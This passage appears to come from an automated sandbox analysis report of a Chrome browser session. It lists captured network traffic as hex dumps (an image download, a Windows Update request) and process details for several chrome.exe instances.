2024-04-29 00:01:39 UTC	16384	IN	Data Raw: a5 96 69 4a a3 d4 4c 09 76 a3 5d 98 d1 95 20 77 93 11 94 f7 2f 17 c9 9a 01 8a 4b b9 62 9e 73 88 60 33 2b 7b 38 8c 44 48 05 1b ae db 53 a5 0b bf 18 8f ec c0 54 59 20 94 b2 9b 8e 1b 38 b1 79 e3 ca 5b cb 71 32 8a b3 41 2a 8a 5b 58 17 ec 63 34 77 ec 03 2e 46 b1 2b aa 43 e7 85 47 2d 4a 5e d9 29 a4 01 72 90 dd 0c 87 4c b3 ce 57 41 65 30 94 b6 57 35 fc 79 e2 1a 24 47 6e 04 a0 2e d1 3c e6 25 2d fc 6b f6 86 a2 9e 69 54 d6 f5 22 b3 30 7e d4 26 33 cf da 29 72 24 47 2d f1 92 fd 92 9e 70 a7 e6 d2 73 e4 41 15 ed 64 52 9c 84 76 f7 04 37 30 49 41 b5 b4 0a e3 31 8a b5 59 6e 4c da b8 b0 cc 73 ce 02 d9 8f c8 29 df 21 6f 6d 8e 8d 00 e3 d9 44 50 a8 02 27 78 82 db 5d 49 9a 5b c9 80 a0 be 91 0d f1 d4 12 c8 6a 19 6e 99 31 de 3a ee dd a1 3b c4 35 12 11 b7 14 3a 51 1b 9b 9e b2 51 Data Ascii: iJLv] w/Kbs`3+{8DHSTY 8y[q2A*[Xc4w.F+CG-J^)rLWAe0W5y$Gn.<%-kiT"0~&3)r$G-psAdRv70IA1YnLs)!omDP'x]I[jn1:;5:QQ
2024-04-29 00:01:39 UTC	16384	IN	Data Raw: 96 f5 b9 75 06 02 f5 6a b7 1b 32 91 92 ca ab 54 87 b4 ac 3d b5 7b 27 04 1a b1 2e a6 79 8e e9 53 d3 6b 14 2d 9f e3 2c 91 8d 93 c1 40 a5 3b 0f 4f 4a a0 da 23 7d 5f b6 37 38 48 4c 39 09 26 4f d5 93 82 6b 4c 60 75 ec 97 25 9e fc fc 0c 65 a0 fe de 2a 4a 26 34 85 27 10 4e d1 61 89 8a ce 28 f6 64 a2 45 5b 12 31 b2 35 af 35 d7 98 9d 6c 8c 64 8d 69 4a 2e 1e d6 b8 e2 34 6a cf 7e 6d 19 64 ab 51 e4 12 29 ec 34 7f 2a 37 b4 7d 8c 48 41 c8 56 da d1 c4 a1 e9 57 10 df a9 ad 90 32 b8 20 85 41 90 ae 42 55 0c 59 2c 0a 12 96 0e 80 e4 df 2b 6a 38 23 61 70 fd f1 91 73 82 de 00 a1 19 cd d1 9b fd e7 08 3d 12 97 74 85 7f 7e 19 6e 79 ab 30 8a 67 3e 1b c1 3e 16 59 b8 1b 65 d1 d2 e0 f1 0c 5c fe 09 37 84 27 df f9 44 31 cf f0 7a 69 b7 f0 07 dc 7c e2 ec e3 98 24 7d ce 85 9c e3 82 cd e1 Data Ascii: uj2T={'.ySk-,@;OJ#}_78HL9&OkL`u%eJ&4'Na(dE[155ldiJ.4j~mdQ)47}HAVW2 ABUY,+j8#aps=t~ny0g>>Ye\7'D1zi\|$}
2024-04-29 00:01:39 UTC	6467	IN	Data Raw: 32 ec df 1d 1b 6c 9e 6b 5c 82 57 dd 2e cb a3 ac 71 cc 53 6f 89 5c 69 9b d2 f1 0c f7 19 66 19 c7 5b 25 f9 1b 68 66 38 79 9f 02 26 46 63 f8 2d 73 30 7a b5 1f c3 4e 34 cf 96 e0 91 c5 3c 5c c3 a6 61 96 60 1e ab 64 97 87 9b dd b5 c0 3d cc 7b 9d db 53 09 b8 bc a3 15 eb c3 2e 4a 39 b9 ad 8f 1c dc e3 22 fd de 11 a4 72 50 42 f8 54 4c f8 6a b2 fc ea 55 7a ba 82 41 6e 41 b6 b3 1d 3d 39 76 93 45 15 f7 c1 1b cb 81 6e 56 14 15 2e b6 27 2f ae d6 a1 dd de a0 ef ae 21 05 b9 5c 76 58 b9 01 86 75 aa aa ec 5b fe bc 12 13 5b a3 95 de a9 af 4e 72 95 65 2a 34 d8 b4 3d 41 2a 56 fc f1 08 2c 9a 97 fb 60 56 54 f0 d3 25 f6 39 b5 b1 22 75 07 32 fe b8 b9 90 b8 88 d7 36 6d 12 d9 05 7c 20 bd 31 2a 8d 49 ab c6 0e ff 00 1c 7b 50 1f de 5b 02 5f 58 68 89 a1 fe a9 c7 12 44 13 9d f5 36 8d 43 Data Ascii: 2lk\W.qSo\if[%hf8y&Fc-s0zN4<\a`d={S.J9"rPBTLjUzAnA=9vEnV.'/!\vXu[[Nre4=AV,`VT%9"u26m\| 1*I{P[_XhD6C

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49785	172.67.182.162	443	3844	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:01:42 UTC	463	OUT	GET /20180327/wfq/kisspng-microsoft-office-365-office-online-computer-softwa-office-5abb01d66a0b39.1638325715222051424344.jpg HTTP/1.1 Host: img2.pngdownload.id Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-29 00:01:43 UTC	718	IN	HTTP/1.1 200 OK Date: Mon, 29 Apr 2024 00:01:42 GMT Content-Type: image/jpeg Content-Length: 54749 Connection: close Last-Modified: Wed, 28 Mar 2018 02:45:42 GMT ETag: "5abb01d6-d5dd" Expires: Thu, 09 May 2024 00:00:51 GMT Cache-Control: max-age=864000 CF-Cache-Status: MISS Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=U59XWw3kipg0bpw6n4vg5HBs06FixqYjiT7qQ%2B4gBAtDquqRW%2BLgO7Z8o9b5WAHNl1Edny76rpgppoSiqk0G8YO5%2Fs5mXMZAkX4NFuDPlKHaTk%2F17mgUZJxk1aeqG32ZWqGHKtPo"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 87bb04df1effe277-ORD alt-svc: h3=":443"; ma=86400
2024-04-29 00:01:43 UTC	651	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 00 00 01 00 01 00 00 ff e1 00 18 45 78 69 66 00 00 49 49 2a 00 08 00 00 00 00 00 00 00 00 00 00 00 ff e1 03 2b 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 33 2d 63 30 31 31 20 36 36 2e 31 34 35 36 36 31 2c 20 32 30 31 32 2f 30 32 2f 30 36 2d 31 34 3a 35 36 3a 32 37 20 20 20 20 20 20 20 20 22 3e 20 3c 72 64 66 3a 52 44 46 20 78 6d 6c Data Ascii: JFIFExifII*+http://ns.adobe.com/xap/1.0/<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.3-c011 66.145661, 2012/02/06-14:56:27 "> <rdf:RDF xml
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: 31 44 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 37 38 38 41 32 41 32 33 44 30 32 35 31 31 45 37 41 30 41 45 43 38 37 39 42 36 32 42 41 42 31 44 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 37 38 38 41 32 41 32 34 44 30 32 35 31 31 45 37 41 30 41 45 43 38 37 39 42 36 32 42 41 42 31 44 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a 78 6d 70 6d 65 74 61 3e 20 3c 3f 78 70 61 63 6b 65 74 20 65 6e 64 3d 22 72 22 3f 3e ff db 00 43 00 03 02 02 02 02 02 03 02 02 02 03 03 03 03 04 06 04 04 04 04 04 08 06 06 05 06 09 08 0a 0a 09 08 09 09 0a 0c 0f 0c 0a 0b 0e 0b Data Ascii: 1D"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:788A2A23D02511E7A0AEC879B62BAB1D" stRef:documentID="xmp.did:788A2A24D02511E7A0AEC879B62BAB1D"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>C
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: b3 0e 7f 17 b9 8d 98 c4 7e 8a 2e 5b fb b5 eb fc d1 53 77 43 e9 f9 50 62 a3 2d 26 4e 25 e3 22 aa 5f 12 46 7d d0 ee c0 f6 3a ff 00 fb c8 6e b0 fb ca b9 1c 31 18 78 9f bb 56 9e c9 89 f7 b9 5c 6e e1 ec cf 1c 16 36 63 ba aa 22 7d b1 31 ee 96 d6 53 a6 86 48 ad 02 40 65 46 1d 66 8a f6 5f 9e b3 52 89 16 1a 5f 77 72 c1 57 b9 7f ee a1 bf c2 ef 07 29 bf c2 ef 4a 8f 18 d6 3f db ac fb 1c 6e 61 b9 6d a4 c2 71 c3 f4 2e c7 ec d5 a4 ff 00 be 29 8f 6b 7b 67 b2 a1 93 bb 57 9a db 3f 6c e9 13 71 1f 75 d0 5b 32 d6 c5 ff 00 86 eb 9d fb 8e 97 09 9d e5 d8 ef d5 ef 53 54 f6 6b 1a fa a7 8f b1 c1 e6 5b 29 9e 65 1a ce 37 0b 5d 11 1d 7d 19 9a 7f 8a 35 8f 6b 4e 6d 1c fb 5c 00 09 15 ed 5f 17 00 24 00 03 5c 00 09 15 ed 5f 17 00 24 00 03 5c 00 09 15 ed 5f 17 00 24 00 03 5c 00 09 15 ed 5f Data Ascii: ~.[SwCPb-&N%"_F}:n1xV\n6c"}1SH@eFf_R_wrW)J?namq.)k{gW?lqu[2STk[)e7]}5kNm\_$\_$\_$\_
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: 6f ca 17 4c bb 31 4b 74 49 1c 9c 52 e3 56 a3 36 f4 49 d9 d6 3a 04 b5 fe a5 6b 2f eb 1e 9f 1c c2 3f cd 37 89 87 b3 ad 19 7d 1d 39 fb 55 70 a7 d5 ce 7f da 9a 36 7b 72 18 dc 4e 97 73 ab b1 6a 9f b1 46 95 55 e9 ab e6 c7 a3 a4 eb 9d b6 cb 46 52 b2 80 b1 21 5a 2b 51 34 e9 47 f6 7d 0a 5d 7a 99 7b bc 15 8d b9 1d df de eb d7 da 47 79 96 d1 e6 59 ae b1 88 bb 3d 1f b3 1c 23 d5 1c fd 3a a6 ec 8b 61 f2 1d 9c d2 ac 0e 1e 3a 71 f5 ea f3 aa f5 cf 2f dd d2 3b 98 83 48 eb 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 4d 64 32 97 6f 2c 1c 54 7d 94 b5 13 d2 0c 47 67 2c 06 bf 3e 03 97 fc 50 9d 7b 17 e6 86 cf 2f ce 71 f9 5c eb 84 bb 34 f7 75 7a a7 87 b1 a1 ce 76 5f 27 da 1a 7a 39 96 1e 9a e7 b7 4d 2a 8f 0a a3 4a a3 d6 ec 2e 4f ba 68 43 73 e1 48 e5 2e 82 e6 35 6e 6a Data Ascii: oL1KtIRV6I:k/?7}9Up6{rNsjFUFR!Z+Q4G}]z{GyY=#:a:q/;HMd2o,T}Gg,>P{/q\4uzv_'z9M*J.OhCsH.5nj
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: e1 b5 5e f7 bd c8 8d 6b 51 2f 55 55 5e e4 44 3e 55 54 53 13 55 53 a4 43 f5 45 15 5c aa 28 a2 35 99 e5 0e b4 e5 8b a6 8d 9a b2 ee 8f 42 c9 a4 08 35 fa 9b 6f 63 a7 de ab f4 28 2e ff 00 0d d7 2c 65 f8 2a 37 fc 4b dc 47 b9 ee de e1 f0 7a d9 cb a2 2e 57 f6 be ac 78 7d af 64 77 ca 6b d9 1d ce 63 73 38 a7 15 9d cc d9 b7 cf a1 1f a4 9f 1e aa 3d 3a d5 dd 1c dd 36 b5 b6 d6 d5 5b aa 9b aa f6 b2 b7 33 51 99 5b f3 56 2b be a4 34 5f c5 63 12 e6 b1 3d 8d 44 42 28 c7 e6 58 ac ce ef 96 c5 d7 35 4f 7f 28 f0 8e 51 e8 58 dc 9f 22 cb b2 0c 3f c9 b2 db 51 6e 9e ee 73 df 54 cf 1a a7 be 66 50 cc 16 d8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 3f 75 16 b9 58 b3 95 18 55 7a 0d 4e 66 9f 3b 01 6f 87 1e 5e 22 b1 e9 ec bd 3b d1 7d 69 dc be b3 df 0d 89 Data Ascii: ^kQ/UU^D>UTSUSCE\(5B5oc(.,e*7KGz.Wx}dwkcs8=:6[3Q[V+4_c=DB(X5O(QX"?QnsTfP?uXUzNf;o^";}i
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: a6 27 9c 3b 83 90 3e 98 ec 99 59 6b 23 95 f9 96 42 89 d9 0a 5a ba a8 8d 6b bc 12 65 3b 9a be ae b1 3b 3b b3 91 3b 5c b2 ae cd ed dc 57 a6 17 35 9d 27 94 57 ff 00 b7 fe de be d5 76 db bd d0 4d be 96 63 b3 b4 eb 1c ea b5 d7 ff 00 c7 db f7 67 8f d9 99 e1 4b b6 b0 a2 c3 8d 0d 91 a0 c4 6c 48 71 1a 8e 63 da b7 a3 91 7b 51 51 53 bd 09 42 26 2a 8d 63 92 bf 55 4d 54 55 34 d5 1a 4c 25 d7 b5 7c 5c 0f af ca 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 91 5e d5 f1 70 02 40 00 35 c0 00 01 23 4f 6c 7b fc 80 69 ed 8f 7f 90 0f 4d fb 9e a7 16 75 fe 5e 00 34 0e d9 b9 cc 06 81 db 37 39 80 d3 db 1e ff 00 20 1a 7b 63 df e4 03 d3 7e e7 a9 c5 9d Data Ascii: ';>Yk#BZke;;;;\W5'WvMcgKlHqc{QQSB&*cUMTU4L%\|\@5^p@5^p@5^p@5^p@5^p@5^p@5#Ol{iMu^479 {c~
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: 4b 96 ee c7 c1 89 72 2a c3 88 de f6 bd 2f 4b d3 e0 a9 7a 2a 2a cf 19 76 63 86 cd 2c 46 27 0b 56 b4 cf ae 27 b2 7b 25 4f 33 bc 8f 1d b3 d8 ca b0 39 85 1d 1a e3 d5 31 d5 34 cf 5c 4f 54 fa 27 8e b0 d0 19 cd 4b 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 00 00 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 7e 98 75 aa 4d 9c a4 d4 ab b5 d9 f8 32 52 12 50 d2 34 c4 c4 67 5c d6 35 2f ed 5f b9 11 3b 55 55 11 3b 4f 1c 46 22 d6 16 d5 57 af 55 d1 a6 9e 33 32 Data Ascii: Kr/Kz*vc,F'V'{%O3914\OT'K"c+"c+"c+"c+"c+"c+"Wx\Wx\Wx\Wx\Wx\Wx\~uM2RP4g\5/_;UU;OF"WU32
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: c3 13 c5 13 ed 22 7d a6 fb 51 b7 75 9b 2b b4 95 e4 58 8e 85 ce 36 6a f9 d1 d9 fb 51 f1 ed 8f 42 38 de 26 c2 da da fc 17 95 b1 11 18 9b 71 e6 4f da 8f b1 3d d3 d5 3d 53 dd 32 f4 52 42 7a 4a a9 25 2f 52 a7 4d 42 99 94 9b 84 d8 d0 23 42 72 39 91 21 b9 2f 6b 9a a9 d8 a8 a8 a8 a8 a4 f3 6e e5 17 a8 8b 96 e7 5a 66 35 89 8e b8 95 3b bf 62 e6 1a ed 56 6f 53 34 d7 4c cc 4c 4f 09 89 8e 13 13 1d b0 9f 5e d5 f1 70 3f 6f 24 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 01 22 bd ab e2 e0 04 80 00 6b 80 00 02 46 9e d8 f7 f9 00 d3 db 1e ff 00 20 1e 9b f7 3d 4e 2c eb fc bc 00 68 1d b3 73 98 0d 03 b6 6e 73 01 a7 b6 3d fe 40 34 f6 c7 bf c8 07 a6 fd cf 53 8b 3a ff 00 2f 00 1a 07 Data Ascii: "}Qu+X6jQB8&qO==S2RBzJ%/RMB#Br9!/knZf5;bVoS4LLO^p?o$k"k"k"k"k"kF =N,hsns=@4S:/
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: 00 00 00 00 00 00 00 fe a2 aa 2d e8 b7 2a 01 df ae 89 39 67 4c a2 d9 c9 8b 35 5f 9b 47 5a 3a 3c 26 67 ab dd f5 e6 e5 d3 b1 b1 bd ae 45 54 6b fd aa 8b f8 d7 24 e7 b1 9b 45 f9 5f 0d f2 6c 44 fe 7a 88 fe 28 ea 9f 1e a9 f5 f5 aa 2e f4 b6 23 fe 19 c7 7c bb 07 4e 98 6b d3 c3 b2 8a b9 cd 3e 13 ce 9e ed 63 ea bb 06 76 a8 a4 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 0a f4 1d 63 0f 10 2b 80 03 22 00 00 00 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 5c 00 19 10 00 57 a0 eb 18 78 81 fb aa 55 29 0a 3d 3a 66 ad 54 9a 87 2d 27 27 05 f1 e3 c6 88 b7 36 1c 36 a2 ab 9c Data Ascii: -*9gL5_GZ:<&gETk$E_lDz(.#\|Nk>cv"c+"c+"c+"c+"c+"Wx\Wx\Wx\Wx\Wx\WxU)=:fT-''66
2024-04-29 00:01:43 UTC	1369	IN	Data Raw: 6e 6b 2f b9 6f ec 55 5f 13 bd cb 76 03 09 85 aa 2b c4 55 d3 94 3b 9e ef 8b 31 cc 68 f2 58 4a 22 dc 7a e7 e0 e7 8a 35 98 a1 50 25 db 2b 4a a6 c0 97 63 3b b3 21 a2 7d c7 71 87 c1 d8 c2 d3 d1 b5 4c 44 22 ac 66 67 8a c7 d7 35 e2 2b 99 99 ed 95 53 25 80 00 00 00 00 00 00 00 01 f1 98 93 95 9a 6e 6c cc bc 38 a9 e0 e6 a2 9f 8a ad d3 5f ce 8d 5e 96 ef 5c b5 3a d1 33 0e 28 cb 1e 49 ac 34 fd 90 a9 d4 62 51 60 43 98 64 25 7b 62 43 63 5a b7 a2 2a f8 1c b6 7f 91 e0 6f 61 2e 5c 9a 23 5d 1d f6 c8 6d 56 69 63 31 b5 66 2e cc d3 33 a6 93 32 f3 8a 61 89 0e 3c 48 6d ee 6b 95 10 80 a1 72 ed d5 35 53 15 4b e6 7d 7e c0 00 00 00 00 00 00 00 00 00 00 00 07 3c f4 50 ca bf f2 42 d5 2d 89 ac 4d 66 52 2b f1 11 20 ab d6 e6 c0 9c b9 11 ab f0 7a 22 31 7d b9 9e 0a 77 bb 0b 9e fe 4f c5 fc Data Ascii: nk/oU_v+U;1hXJ"z5P%+Jc;!}qLD"fg5+S%nl8_^\:3(I4bQ`Cd%{bCcZ*oa.\#]mVic1f.32a<Hmkr5SK}~<PB-MfR+ z"1}wO

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49796	40.127.169.103	443

Timestamp	Bytes transferred	Direction	Data
2024-04-29 00:02:22 UTC	306	OUT	GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=v+RVTz3dGX2WkHN&MD=WXG9zNre HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-04-29 00:02:23 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "Mx1RoJH/qEwpWfKllx7sbsl28AuERz5IYdcsvtTJcgM=_2160" MS-CorrelationId: aee6732b-845e-4658-9a3c-06e28b1354b7 MS-RequestId: 8df6f80f-2365-483e-bb47-c90de93234a2 MS-CV: 0fvExCt1B0aWHxB3.0 X-Microsoft-SLSClientCache: 2160 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 29 Apr 2024 00:02:22 GMT Connection: close Content-Length: 25457
2024-04-29 00:02:23 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 51 22 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 db 8e 00 00 14 00 00 00 00 00 10 00 51 22 00 00 20 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 f3 43 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 0d 92 6f db e5 21 f3 43 43 4b ed 5a 09 38 55 5b df 3f 93 99 90 29 99 e7 29 ec 73 cc 4a 66 32 cf 84 32 64 c8 31 c7 11 52 38 87 90 42 66 09 99 87 32 0f 19 0a 09 51 a6 a8 08 29 53 86 4a 52 84 50 df 46 83 ba dd 7b df fb 7e ef 7d ee 7d bf ef 9e e7 d9 67 ef 35 ee b5 fe eb 3f ff b6 96 81 a2 0a 04 fc 31 40 21 5b 3f a5 ed 1b 04 0e 85 42 a0 10 04 64 12 6c a5 de aa a1 d8 ea f3 58 01 f2 f5 67 0b 5e 9b bd e8 a0 90 1d bf 40 88 9d eb 49 b4 87 9b ab 8b 9d 2b 46 c8 c7 c5 19 92 Data Ascii: MSCFQ"DQ" AdCenvironment.cabo!CCKZ8U[?))sJf22d1R8Bf2Q)SJRPF{~}}g5?1@![?BdlXg^@I+F
2024-04-29 00:02:23 UTC	9633	IN	Data Raw: 21 6f b3 eb a6 cc f5 31 be cf 05 e2 a9 fe fa 57 6d 19 30 b3 c2 c5 66 c9 6a df f5 e7 f0 78 bd c7 a8 9e 25 e3 f9 bc ed 6b 54 57 08 2b 51 82 44 12 fb b9 53 8c cc f4 60 12 8a 76 cc 40 40 41 9b dc 5c 17 ff 5c f9 5e 17 35 98 24 56 4b 74 ef 42 10 c8 af bf 7f c6 7f f2 37 7d 5a 3f 1c f2 99 79 4a 91 52 00 af 38 0f 17 f5 2f 79 81 65 d9 a9 b5 6b e4 c7 ce f6 ca 7a 00 6f 4b 30 44 24 22 3c cf ed 03 a5 96 8f 59 29 bc b6 fd 04 e1 70 9f 32 4a 27 fd 55 af 2f fe b6 e5 8e 33 bb 62 5f 9a db 57 40 e9 f1 ce 99 66 90 8c ff 6a 62 7f dd c5 4a 0b 91 26 e2 39 ec 19 4a 71 63 9d 7b 21 6d c3 9c a3 a2 3c fa 7f 7d 96 6a 90 78 a6 6d d2 e1 9c f9 1d fc 38 d8 94 f4 c6 a5 0a 96 86 a4 bd 9e 1a ae 04 42 83 b8 b5 80 9b 22 38 20 b5 25 e5 64 ec f7 f4 bf 7e 63 59 25 0f 7a 2e 39 57 76 a2 71 aa 06 8a Data Ascii: !o1Wm0fjx%kTW+QDS`v@@A\\^5$VKtB7}Z?yJR8/yekzoK0D$"<Y)p2J'U/3b_W@fjbJ&9Jqc{!m<}jxm8B"8 %d~cY%z.9Wvq

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

Behavior

Click to jump to process

System Behavior

Analysis Process: chrome.exePID: 3652, Parent PID: 5676

General

Target ID:	0
Start time:	02:01:13
Start date:	29/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 3844, Parent PID: 3652

General

Target ID:	2
Start time:	02:01:15
Start date:	29/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2540 --field-trial-handle=2508,i,4636836188414927447,16714986205037523390,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	false

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6288, Parent PID: 3760

General

Target ID:	3
Start time:	02:01:20
Start date:	29/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6320, Parent PID: 3760

General

Target ID:	4
Start time:	02:01:20
Start date:	29/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http:///
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6612, Parent PID: 6288

General

Target ID:	5
Start time:	02:01:20
Start date:	29/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2044 --field-trial-handle=2012,i,7318852608262930220,3834524874699914710,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 6820, Parent PID: 6320

General

Target ID:	6
Start time:	02:01:21
Start date:	29/04/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2028 --field-trial-handle=2040,i,5691023156427360077,958641003672475286,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff76e190000
File size:	3'242'272 bytes
MD5 hash:	45DE480806D1B5D462A7DDE4DCEFC4E4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Chronological Activities

Analysis Process: chrome.exePID: 7012, Parent PID: 5676

General

Target ID:	7
Start time:	02:01:21
Start date:	29/04/2024
